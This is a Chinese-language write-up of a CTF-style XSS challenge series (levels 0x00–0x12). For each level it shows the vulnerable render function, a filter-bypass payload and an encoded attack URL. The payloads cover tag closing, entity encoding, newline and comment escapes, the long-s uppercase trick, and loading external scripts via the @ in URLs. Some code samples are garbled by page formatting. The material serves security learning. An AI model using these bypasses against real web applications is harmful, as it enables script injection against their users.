本文最后更新于:2022年8月11日 下午
耗子XSS
0x00
1 2 3 function render (input ) { return '<div>' + input + '</div>' }
1 <script > alert(1)</script >
1 <div > <script > alert(1)</script > </div >
1 http://xss.test/?input=%3Cscript%3Ealert(1)%3C%2Fscript%3E
0x01
输入参数被放在文本标签里,文本标签前后闭合即可
1 2 3 function render (input ) { return '<textarea>' + input + '</textarea>' }
1 </textarea > <script > alert(1)</script > <textarea >
1 <textarea > </textarea > <script > alert(1)</script > <textarea > </textarea >
1 http://xss.test/?input=%3C%2Ftextarea%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3Ctextarea%3E
0x02
参数作为 <input>
标签的 value 回显到前端,可以闭合 value 加上onclick事件,或者闭合 <input>
添加 alert
1 2 3 function render (input ) { return '<input type="name" value="' + input + '">' }
1 2 3 '"><script > alert(1)</script > " onclick=alert(1) "
1 2 3 <input type ="name" value ="'" > <script > alert(1)</script > "><input type ="name" value ="" onclick =alert(1) "">
1 2 3 http://xss.test/?input='%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E http://xss.test/?input=%22%20onclick%3Dalert(1)%20%22
0x03
过滤括号 [()]
,可以使用反引号代替,html编码绕过,或者引用外部js文件
1 2 3 4 5 function render (input ) { const stripBracketsRe = /[()]/g input = input.replace (stripBracketsRe, '' ) return input }
1 2 3 4 5 # 反引号<script > alert`1` </script > # html编码绕过<img src =# onerror =alert(1) >
1 2 3 4 5 # 反引号<script > alert`1` </script > # html编码绕过<img src =# onerror =alert(1) >
1 2 3 4 5 6 # 反引号 http://xss.test/?input=%3Cscript%3Ealert%601%60%3C%2Fscript%3E%20 # html编码绕过 http://xss.test/?input=%3Cimg%20src%3D%23%20onerror%3Dalert%26%23x28%3B1%26%23x29%3B%3E
0x04
反引号也被过滤,html编码绕过
1 2 3 4 5 function render (input ) { const stripBracketsRe = /[()`]/g input = input.replace (stripBracketsRe, '' ) return input }
1 <img src =# onerror =alert(1) >
1 <img src =# onerror =alert(1) >
1 http://xss.test/?input=%3Cimg%20src%3D%23%20onerror%3Dalert%26%23x28%3B1%26%23x29%3B%3E%20
0x05
过滤 –> 防止标签闭合,–!> 同样可以闭合标签
1 2 3 4 function render (input ) { input = input.replace (/-->/g, '😂' ) return '<!-- ' + input + ' -->' }
1 --!><img src =# onerror =alert(1) >
1 http://xss.test/?input=--!%3E%3Cimg%20src%3D%23%20onerror%3Dalert%26%23x28%3B1%26%23x29%3B%3E%20
0x06
过滤 auto|on.*=|> ,使用换行绕过
1 2 3 4 function render (input ) { input = input.replace (/auto|on.*=|>/ig, '_' ) return `<input value=1 ${input} type="text" >` }
1 2 type="image" src=# onerror =alert(1)
1 2 <input value =1 type ="image" src =# onerror =alert(1) type ="text" >
1 http://xss.test/?input=type%3D%22image%22%20src%3D%23%20onerror%0A%3Dalert(1)
0x07
过滤 </?[^>]+> ,对<>括起来的内容进行过滤替换成空,但是由于HTML的容错性极高,所以,对于不闭合也能接受
1 2 3 4 5 6 function render (input ) { const stripTagsRe = /<\/?[^>]+>/gi input = input.replace (stripTagsRe, '' ) return `<article>${input}</article>` }
1 <img src =# onerror =alert(1)
1 <article > <img src =# onerror =alert(1) </article >
1 http://xss.test/?input=%3Cimg%20src%3D%23%20onerror%3Dalert(1)%20
0x08
过滤 标签, 加空格即可绕过
1 2 3 4 5 6 7 8 function render (src ) { src = src.replace (/<\/style>/ig, '/* \u574F\u4EBA */' ) return ` <style> ${src} </style> ` }
1 </style > <script > alert(1)</script >
1 2 3 <style > </style > <script > alert(1)</script > </style >
1 http://xss.test/?input=%3C%2Fstyle%20%3E%20%3Cscript%3Ealert(1)%3C%2Fscript%3E
0x09
过滤了不是以https://www.sogmentfault.com开头的字符串,以https://www.sogmentfault.com开头,闭合标签即可
1 2 3 4 5 6 7 function render (input ) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test (input)) { return `<script src="${input}" ></script>` } return 'Invalid URL' }
1 https://www.segmentfault.com"></script > <img src =# onerror ="alert(1)
1 <script src ="https://www.segmentfault.com" > </script > <img src =# onerror ="alert(1) " > </script >
1 http://xss.test/?input=https%3A%2F%2Fwww.segmentfault.com%22%3E%3C%2Fscript%3E%20%3Cimg%20src%3D%23%20onerror%3D%22alert(1)%20
0x0A
将 & ‘ “ < > / 符号转为实体编码,在URL中会解析@后面的网址,如果没弹出来试试换个浏览器,低版本火狐可以弹出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function render (input ) { function escapeHtml (s ) { return s.replace (/&/g, '&' ) .replace (/'/g, ' ' ;') .replace(/"/g, ' "') .replace(/</g, ' <') .replace(/>/g, ' >') .replace(/\//g, ' /') } const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return ' Invalid URL' }
1 [<script > alert(1)</script > ](https://www.segmentfault.com@xss.haozi.me/j.js)
1 <script src ="https://www.segmentfault.com@xss.haozi.me/j.js" > </script >
1 http://xss.test/?input=https%3A%2F%2Fwww.segmentfault.com%40xss.haozi.me%2Fj.js
0x0B
输入内容大写,HTML对大小写不敏感,但是JavaScript对大小写敏感,则ALERT()无法执行,需要想办法绕过对JavaScript的的大写转换:
html编码绕过
外部js文件绕过
1 2 3 4 function render (input ) { input = input.toUpperCase () return `<h1>${input}</h1>` }
1 <img src =x onerror =alert(1) >
1 2 <h1 > <IMG SRC =X ONERROR =alert(1) > </h1 >
1 http://xss.test/?input=%3Cimg%20src%3Dx%20onerror%3D%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B(1)%3E%0A
0x0C
上题基础增加 script 过滤
1 2 3 4 5 function render (input ) { input = input.replace (/script/ig, '' ) input = input.toUpperCase () return '<h1>' + input + '</h1>' }
1 <img src =x onerror =alert(1) >
1 2 <h1 > <IMG SRC =X ONERROR =alert(1) > </h1 >
1 http://xss.test/?input=%3Cimg%20src%3Dx%20onerror%3D%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B(1)%3E%20%0A
0x0D
输入内容带入到了注释中,可以用换行逃逸。由于过滤了单引号’,所以后面的’)可以用–>注释掉。
1 2 3 4 5 6 7 8 function render (input ) { input = input.replace (/[</"']/g, '') return ` <script> // alert('${input}') </script> ` }
1 2 3 4 5 <script > // alert(') alert(1) -->') </script >
1 http://xss.test/?input=')%20%0Aalert(1)%0A--%3E
0x0E
标签里的第一个字母前加上下划线_,并且大写输入所有字母,ſ是古英语中的s的写法, 转成大写是正常的S
1 2 3 4 5 function render (input ) { input = input.replace (/<([a-zA-Z])/g, '<_$1' ) input = input.toUpperCase () return '<h1>' + input + '</h1>' }
1 <ſcript src ="https://xss.haozi.me/j.js" > </script >
1 <h1 > <SCRIPT SRC ="HTTPS://XSS.HAOZI.ME/J.JS" > </SCRIPT > </h1 >
1 http://xss.test/?input=%3C%C5%BFcript%20src%3D%22https%3A%2F%2Fxss.haozi.me%2Fj.js%22%20%3E%3C%2Fscript%3E
0x0F
1 2 3 4 5 6 7 8 9 10 11 function render (input ) { function escapeHtml (s ) { return s.replace (/&/g, '&' ) .replace (/'/g, ' ' ;') .replace(/"/g, ' "') .replace(/</g, ' <') .replace(/>/g, ' >') .replace(/\//g, ' /') } return `<img src onerror="console.error(' ${escapeHtml (input)}')">` }
1 2 ');alert('1 ');alert(1)//
1 2 <img src onerror ="console.error('' );alert(' 1')" > <img src onerror ="console.error('' );alert(1)/ / ')" >
1 2 http://xss.test/?input=')%3Balert('1 http://xss.test/?input=')%3Balert(1)%2F%2F
0x10
1 2 3 4 5 6 7 function render (input ) { return ` <script> window.data = ${input} </script> ` }
1 2 3 </script > ``<script > alert(1) 1;alert(1);
1 2 3 4 5 6 7 8 <script > window .data = </script > ` `<script > alert(1)</script > <script > window .data = 1 ;alert (1 ); </script >
1 2 3 http://xss.test/?input=%3C%2Fscript%3E%60%0A%60%3Cscript%3Ealert(1) http://xss.test/?input=1%3Balert(1)%3B
0x11
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 function render (s ) { function escapeJs (s ) { return String (s) .replace (/\\/g, '\\\\' ) .replace (/'/g, ' \\\'' ) .replace (/"/g, '\\" ') .replace(/`/g, ' \\`') .replace(/</g, ' \\74 ') .replace(/>/g, ' \\76 ') .replace(/\//g, ' \\/') .replace(/\n/g, ' \\n') .replace(/\r/g, ' \\r') .replace(/\t/g, ' \\t') .replace(/\f/g, ' \\f') .replace(/\v/g, ' \\v') // .replace(/\b/g, ' \\b') .replace(/\0/g, ' \\0 ') } s = escapeJs(s) return ` <script> var url = ' javascript :console.log ("${s}" )' var a = document.createElement(' a') a.href = url document.body.appendChild(a) a.click() </script> ` }
1 2 ");alert(1);(" ");alert(1);//
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <script > var url = 'javascript:console.log("\");alert(1);(\"")' var a = document .createElement ('a' ) a.href = url document .body .appendChild (a) a.click () </script > <script > var url = 'javascript:console.log("\");alert(1);\/\/")' var a = document .createElement ('a' ) a.href = url document .body .appendChild (a) a.click ()
1 2 3 http://xss.test/?input=%22)%3Balert(1)%3B(%22 http://xss.test/?input=%22)%3Balert(1)%3B%2F%2F
0x12
“被替换成了\,用\进行转义
1 2 3 4 5 function escape (s ) { s = s.replace (/"/g, '\\" ') return ' <script>console.log ("' + s + '" );</script>' }
1 <script > console .log ("\\" );alert (1 )</script >
1 http://xss.test/?input=%5C%22)%3Balert(1)%2F%2F